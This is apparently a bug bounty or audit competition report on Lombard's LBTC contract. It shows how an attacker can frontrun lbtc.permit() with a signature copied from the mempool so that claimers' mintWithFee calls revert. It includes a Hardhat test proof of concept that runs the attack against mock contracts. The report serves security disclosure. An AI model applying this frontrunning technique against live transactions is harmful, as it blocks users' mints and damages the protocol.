#38189 [SC-Insight] Attacker can grief calls to `lbtc.mintWithFee()`

Submitted on Dec 27th 2024 at 10:51:08 UTC by @Shahen for Audit Comp | Lombard

  • Report ID: #38189

  • Report Type: Smart Contract

  • Report severity: Insight

  • Target: https://github.com/lombard-finance/evm-smart-contracts/blob/main/contracts/LBTC/LBTC.sol

  • Impacts:

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol (not lower than $1K))

Description

Brief/Intro

When the claimer calls lbtc.mintWithFee(), The claimer calls lbtc.permit() firstly with the user signature to give approval, So an malicious actor that monitors the mempool can frontrun the call to lbtc.mintWithFee() with lbtc.permit() with the users signature taken from the pending transaction. Now when the call gets mined it reverts as the permit is already been used. All calls directly to lbtc.mintWithFee() can be griefed this way.

Make a test file under test, And paste the coded poc below,And run yarn hardhat test test/testfile.ts For the test im calling directly from the stakeAndBake contract which is the claimer

Vulnerability Details

Same as above Brief/Intro

Impact Details

All calls to lbtc.mintWithFee() can be griefed by an attacker by frontrunning and calling lbtc.permit()

References

https://github.com/lombard-finance/evm-smart-contracts/blob/a818ea0489178ccd00019edab24637c38501af7b/contracts/LBTC/LBTC.sol#L415

Proof of Concept

Proof of Concept

import { ethers } from 'hardhat';
import { expect } from 'chai';
import { takeSnapshot } from '@nomicfoundation/hardhat-toolbox/network-helpers';
import {
    deployContract,
    getSignersWithPrivateKeys,
    CHAIN_ID,
    getFeeTypedMessage,
    generatePermitSignature,
    NEW_VALSET,
    DEPOSIT_BTC_ACTION,
    encode,
    getPayloadForAction,
    signDepositBtcPayload,
    Signer,
    init,
} from './helpers';
import {
    StakeAndBake,
    BoringVaultDepositor,
    LBTCMock,
    BoringVaultMock,
    AccountantMock,
    TellerMock,
} from '../typechain-types';
import { SnapshotRestorer } from '@nomicfoundation/hardhat-network-helpers/src/helpers/takeSnapshot';

describe('lbtc.mintWithFee() griefing Test', function () {
    let deployer: Signer,
        signer1: Signer,
        signer2: Signer,
        signer3: Signer,
        treasury: Signer;
    let stakeAndBake: StakeAndBake;
    let tellerWithMultiAssetSupportDepositor: TellerWithMultiAssetSupportDepositor;
    let teller: TellerWithMultiAssetSupportMock;
    let lbtc: LBTCMock;
    let snapshot: SnapshotRestorer;
    let snapshotTimestamp: number;

    before(async function () {
        [deployer, signer1, signer2, signer3, treasury] =
            await getSignersWithPrivateKeys();

        const burnCommission = 1000;
        const result = await init(
            burnCommission,
            treasury.address,
            deployer.address
        );
        lbtc = result.lbtc;

        stakeAndBake = await deployContract<StakeAndBake>('StakeAndBake', [
            await lbtc.getAddress(),
            deployer.address,
        ]);

        teller = await deployContract<TellerWithMultiAssetSupportMock>(
            'TellerWithMultiAssetSupportMock',
            [],
            false
        );

        tellerWithMultiAssetSupportDepositor =
            await deployContract<TellerWithMultiAssetSupportDepositor>(
                'TellerWithMultiAssetSupportDepositor',
                [],
                false
            );

        // mock minter for lbtc
        await lbtc.addMinter(deployer.address);

        // set stake and bake as claimer for lbtc
        await lbtc.addClaimer(await stakeAndBake.getAddress());

        // set deployer as operator
        await lbtc.transferOperatorRole(deployer.address);

        // Initialize the permit module
        await lbtc.reinitialize();

        // Add BoringVaultDepositor as a depositor on the StakeAndBake contract
        await expect(
            stakeAndBake.addDepositor(
                await teller.getAddress(),
                await tellerWithMultiAssetSupportDepositor.getAddress()
            )
        )
            .to.emit(stakeAndBake, 'DepositorAdded')
            .withArgs(
                await teller.getAddress(),
                await tellerWithMultiAssetSupportDepositor.getAddress()
            );

        snapshot = await takeSnapshot();
        snapshotTimestamp = (await ethers.provider.getBlock('latest'))!
            .timestamp;
    });

    afterEach(async function () {
        // clean the state after each test
        await snapshot.restore();
    });

    describe('Setup()', function () {
        let data;
        let permitPayload;
        let depositPayload;
        let approval;
        let userSignature;
        const value = 10001;
        const fee = 1;
        const depositValue = 5000;

        before(async function () {
            data = await signDepositBtcPayload(
                [signer1],
                [true],
                CHAIN_ID,
                signer2.address,
                value,
                encode(['uint256'], [0]) // txid
            );
            userSignature = await getFeeTypedMessage(
                signer2,
                await lbtc.getAddress(),
                fee,
                snapshotTimestamp + 100
            );

            // set max fee
            await lbtc.setMintFee(fee);

            approval = getPayloadForAction(
                [fee, snapshotTimestamp + 100],
                'feeApproval'
            );

            // create permit payload
            const block = await ethers.provider.getBlock('latest');
            const timestamp = block!.timestamp;
            const deadline = timestamp + 100;
            const chainId = (await ethers.provider.getNetwork()).chainId;
            const { v, r, s } = await generatePermitSignature(
                lbtc,
                signer2,
                await tellerWithMultiAssetSupportDepositor.getAddress(),
                depositValue,
                deadline,
                chainId,
                0
            );

            permitPayload = encode(
                ['uint256', 'uint256', 'uint8', 'uint256', 'uint256'],
                [depositValue, deadline, v, r, s]
            );

            // make a deposit payload for the boringvault
            depositPayload = encode(
                ['address', 'uint256'],
                [await lbtc.getAddress(), depositValue]
            );
        });

        it('Frontrun attack leading to griefing calls to lbtc.mintWithFee()', async function () {
            const block = await ethers.provider.getBlock('latest');
            const timestamp = block!.timestamp;
            const deadline = timestamp + 100;
            const chainId = (await ethers.provider.getNetwork()).chainId;
            const { v, r, s } = await generatePermitSignature(
                lbtc,
                signer2,
                await tellerWithMultiAssetSupportDepositor.getAddress(),
                depositValue,
                deadline,
                chainId,
                0
            );


        //1. Attacker Frontruns the call to `lbtc.mintWithFee()` by claimer by calling `lbtc.permit()` with the signature    
            await lbtc.permit(
                signer2.address,
                tellerWithMultiAssetSupportDepositor.getAddress(),
                depositValue,
                deadline,
                v,
                r,
                s
            );

        //2. Now since the attacker called `lbtc.permit()`, claimers call to `lbtc.mintWithFee()` reverts with error `invalid-signature`

            await expect(
                stakeAndBake.stakeAndBake({
                    vault: await teller.getAddress(),
                    owner: signer2.address,
                    permitPayload: permitPayload,
                    depositPayload: depositPayload,
                    mintPayload: data.payload,
                    proof: data.proof,
                    feePayload: approval,
                    userSignature: userSignature,
                })
            ).to.be.reverted;
        });
        
    });
});

Was this helpful?